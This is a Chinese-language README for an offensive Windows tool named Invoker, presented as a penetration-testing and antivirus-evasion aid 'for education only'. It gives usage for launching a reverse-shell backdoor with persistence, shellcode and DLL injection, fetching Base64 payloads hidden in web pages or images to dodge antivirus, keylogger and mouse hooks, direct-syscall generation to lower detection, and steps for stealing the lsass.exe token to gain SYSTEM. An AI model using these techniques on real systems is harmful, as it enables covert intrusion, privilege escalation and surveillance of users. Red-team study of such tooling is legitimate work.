渗透测试工具与反病毒评估工具。
使用 Visual Studio Community 2022 v17.5.4(64位)构建,并在 Windows 10 企业版操作系统(64位)上测试。
仅用于教育目的。希望它能有所帮助!
该仓库已有已知签名,且我没有时间每次都上传新的可执行文件,因此您应自行编译此项目。
有用的网站:
待办事项:
NtCreateProcessEx 在 32 位进程上效果不佳。未来计划:
编码时我牢记的事项:
以上所有操作都将使您的 PE 文件体积更小且检测率更低。
特性:
查看 Invoker 库 此处。欢迎使用!
部分功能可能需要管理员权限。
部分功能可能无法在 Windows XP 及更早版本上运行,因为使用了特定的访问权限和控制标志。
运行 Invoker_x86.exe(32位)或 Invoker_x64.exe(64位)。
要自动执行反弹 Shell 后门并添加持久性,请运行以下命令:
Invoker_x64.exe 192.168.8.5:9000
32位 Invoker 可以:
64位 Invoker 可以:
请注意,每种注入技术都有其优点和缺点;例如,某些技术要求更低的访问权限、使用更不易被怀疑的方法等,但可能会崩溃进程、需要时间或其他特殊条件才能执行 payload 等。
请注意,一些 C2C 植入体在释放内存后可能无法正常运行。在这种情况下,请注释掉像 VirtualFreeEx、NtFreeVirtualMemory 等方法。
通过向更高权限的进程注入字节码来提升权限。
该工具可以将二进制文件的内容下载到内存中,然后注入到正在运行的进程中。它还可以解析 HTTP 响应并从自定义元素中提取 payload,例如从 <invoker>payload</invoker> 中提取,其中 payload 是 Base64 编码的二进制代码。
请查看 pastebin.com/raw/xf9Trt0d 上的示例。
如果反病毒软件持续删除您的本地 payload,这会很有用。
请查看 pastebin.com/raw/iW17rCxH 上的额外示例——payload 隐藏于图像元素中。
P.S. 提供的字节码很可能无法为您工作。
使用 ngrok 为您的本地 Web 服务器提供公网地址。
要查看进程是 32 位还是 64 位,请打开任务管理器 -> 点击“更多详细信息” -> 进入“详细信息”选项卡 -> 右键单击任意列 -> 点击“选择列” -> 勾选“平台”复选框。
要查看进程是否以管理员权限运行,请勾选“已提升”复选框。
了解如何从我的另一个项目生成反弹 Shell payload,以及如何设置 Ncat 和 multi/handler 监听器。
字节码注入可能会失败,因为字节码可能包含错误字符、错误退出函数或编码问题;DLL 注入更可靠。
如果希望从 Invoker 运行 PowerShell 反弹或绑定 shell,请打开 Invoker 并启动 PowerShell 会话,然后运行任何来自我另一个项目的单行命令。
直接系统调用库和汇编代码是使用 SysWhispers2 生成的。归功于作者!
要生成相同的库和汇编代码,请在您偏好的控制台中运行以下命令:
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls
查看我对该库和汇编代码的封装 此处。欢迎使用!
查看简单的包含钩子过程的 DLL 此处。该钩子过程将在每次关闭窗口时调用一个消息框。
查看键盘钩子过程(即键盘记录器)此处。
查看鼠标钩子过程(在第一次鼠标点击时运行新进程)此处。
测试完成后不要忘记删除所有创建的工件,例如删除 keylogger.log 等。
按照以下简单步骤操作:
以管理员身份运行 Invoker。
启用所有访问令牌特权。
从例如 Local Security Authority Subsystem Service(lsass.exe)复制访问令牌,并运行一个新的 Invoker 实例。
在新的 Invoker 实例中,打开命令提示符并运行 whoami,您现在应该看到 nt authority\system。
再次启用所有访问令牌特权。
关闭旧的 Invoker 实例。

图 1 - Invoker

图 2 - 字节码注入

图 3 - 提升的权限